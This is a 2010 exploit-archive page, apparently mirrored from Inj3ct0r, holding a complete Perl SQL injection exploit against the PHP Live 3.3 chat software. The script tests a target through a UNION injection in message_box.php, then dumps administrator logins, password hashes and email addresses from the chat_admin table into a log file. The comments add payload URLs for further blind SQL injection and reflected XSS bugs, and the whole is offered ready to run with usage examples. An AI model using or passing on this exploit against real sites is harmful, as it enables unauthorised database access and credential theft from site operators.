Home / os / win7

PHP Live 3.3 Remote SQL Injection Exploit

Posted on 01 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PHP Live 3.3 Remote SQL Injection Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================
PHP Live 3.3 Remote SQL Injection Exploit
=========================================


#!/usr/bin/perl -w
############################################################################
#
# Exploit Title: PHP Live 3.3
# Date: 01/08/2010
# Author: TA4G - S8T@hotmail.com
# Vendor: phplivesupport.com
# Version: 3.3
# Google dork : n/a
# Platform / Tested on:  windows 7
# Category: webapps/0day
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#  L0v3 To: TA4G _ lOsT _ Mr-DraGon _ Kader11000 _ illusionist2512 _ TnTDc _ P4L-T3RRORIST _ Sn!p3r_P4L
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#                                          Gr33tz to ### ArHack.NeT ###
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Usage: exploit.pl &amp;lt;page&amp;gt; &amp;lt;path&amp;gt; &amp;lt;valid user&amp;gt;
# Example: perl exploit.pl http://site.com phplive TA4G
#
# path and username are optional. You can set them to &amp;#039;no&amp;#039; if you dont
# know any information, or remove this parameters like:
#
# perl exploit.pl http://site.com no adalbert
# perl exploit.pl http://site.com
# perl exploit.pl http://site.com no no
#
###########################################################################
#
# Other bugs in:
# /phplive/admin/index.php?sid=[sid]&amp;amp;deptid=1+[SQL BLIND INJECTION]
# /phplive/request.php?l=admin&amp;amp;x=1+[SQL BLIND INJECTION]
#
# /phplive/admin/index.php?sid=1[sid]&amp;amp;deptid=&amp;amp;search_string=&amp;quot;&amp;gt;&amp;lt;Script&amp;gt;alert(1)&amp;lt;/Script&amp;gt;
# /phplive/message_box.php?theme=&amp;amp;l=admin&amp;amp;x=1&amp;amp;deptid=1&amp;quot;&amp;gt;&amp;lt;Script&amp;gt;alert(1)&amp;lt;/Script&amp;gt;
#
###########################################################################
#
# Demonstration:
#
# perl exploit.pl http://site.com phplive no
# ...
# &amp;gt;-------Exploit Intro-------&amp;lt;
# -----------------------------
# Logging:
# -----------------------------
#[*] Vulnerable: Yes
#[*] Injecting: Done
#[*] -----------
#[*] Userdata:
#
# bla:hashashashashash:S8T@hotmail.com
# admin:hashashashasha:admin@TA4G.com
#
#[*] Writing logfile
#[*] Exit
#
#
############################################################################
# Setting crappy vars

    use LWP::Simple;
    
    $link = shift or die(&amp;quot;

Read the fuckn manual

&amp;quot;);
    $path = shift or $path = &amp;#039;/phplive&amp;#039;;
    $user = shift or $user = &amp;#039;admin&amp;#039;;    
    $link = &amp;#039;http://&amp;#039;.$link if($link !~ /^http:///);    
    $add = &amp;#039;/message_box.php?theme=&amp;amp;l=&amp;#039;.$user.&amp;#039;&amp;amp;x=1&amp;amp;deptid=-1&amp;#039;;
    ($pw,$count) = (0x37635345,0);

#*********** Baby protection ************#
    

  print &amp;quot;Please insert anti-baby-code:&amp;quot;;
    $baby = &amp;lt;STDIN&amp;gt;;
    die &amp;quot;

wait a few years please...

&amp;quot; if ($pw != $baby);
    
    intro();
    print &amp;quot;
LOGGING:
----------------------------------------
&amp;quot;;
    
#*********** Vulnerable-Check ************#

    $resp = get($link.&amp;#039;/&amp;#039;.$path.$add.&amp;#039;+union+(select+1&amp;#039;.&amp;#039;,1&amp;#039;x14 .&amp;#039;,777777777,1,1)-- -&amp;#039;);
    ($resp =~ m/&amp;lt;p&amp;gt;777777777&amp;lt;/p&amp;gt;/i) ? print &amp;quot;[*] Vulnerable: Yes
[*] Injecting: Done
[*] --------------
&amp;quot; : die(&amp;quot;[*] Vulnerable: No
[*] Exit
&amp;quot;);

#*********** Injecting Nanobots ***********#

    print &amp;quot;[*] Userdata: 

&amp;quot;;
    $infostring = &amp;#039;concat_ws(0x3a,777777,version(),login,password,email)&amp;#039;;
    while(1) {
        $resp = get($link.&amp;quot;/&amp;quot;.$path.$add.&amp;quot;+union+(select+1&amp;quot;.&amp;quot;,1&amp;quot;x14 .&amp;quot;,&amp;quot;.$infostring.&amp;quot;,0,0+from+chat_admin+limit+&amp;quot;.$count.&amp;quot;,1)-- -&amp;quot;);
        $resp =~ m/777777:(.*)&amp;lt;/p&amp;gt;/i or last;
        @temp = split(&amp;quot;:&amp;quot;,$1);
        push(@data,($temp[1].&amp;quot;:&amp;quot;.$temp[2].&amp;quot;:&amp;quot;.$temp[3]));
        print $temp[1].&amp;quot;:&amp;quot;.$temp[2].&amp;quot;:&amp;quot;.$temp[3].&amp;quot;
&amp;quot;;
        $count++;
    }
    
#*********** Write2file *****************#

    $text = &amp;quot;[TA4G] [PHP Live 3.3] SQL Injection Exploit:

[*] Link: &amp;quot;.$link.&amp;quot;/&amp;quot;.$path.$add.&amp;quot;
&amp;quot;.
            &amp;quot;[*] mySQL Version: &amp;quot;.substr($temp[0],0,3).&amp;quot;
[*] Userdata: 
&amp;quot;;
            
    open(LULZ,&amp;quot;&amp;gt;&amp;gt;log.txt&amp;quot;);
    print LULZ $text;
    foreach(@data) {print LULZ $_.&amp;quot;
&amp;quot;;}
    close LULZ;
    print &amp;quot;
[*] Writing Logfile
[*] Exit


&amp;quot;;

#************ Leet intro **************#    

    sub intro {
print q {

---------------------------------------
***************************************
*
* [PHP Live 3.3] SQL Injection Exploit
*     written by TA4G
*      -----------
* Usage: exploit.pl &amp;lt;url&amp;gt; &amp;lt;path&amp;gt; &amp;lt;user&amp;gt;
*
* path and user are optional
*
***************************************
---------------------------------------
};
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :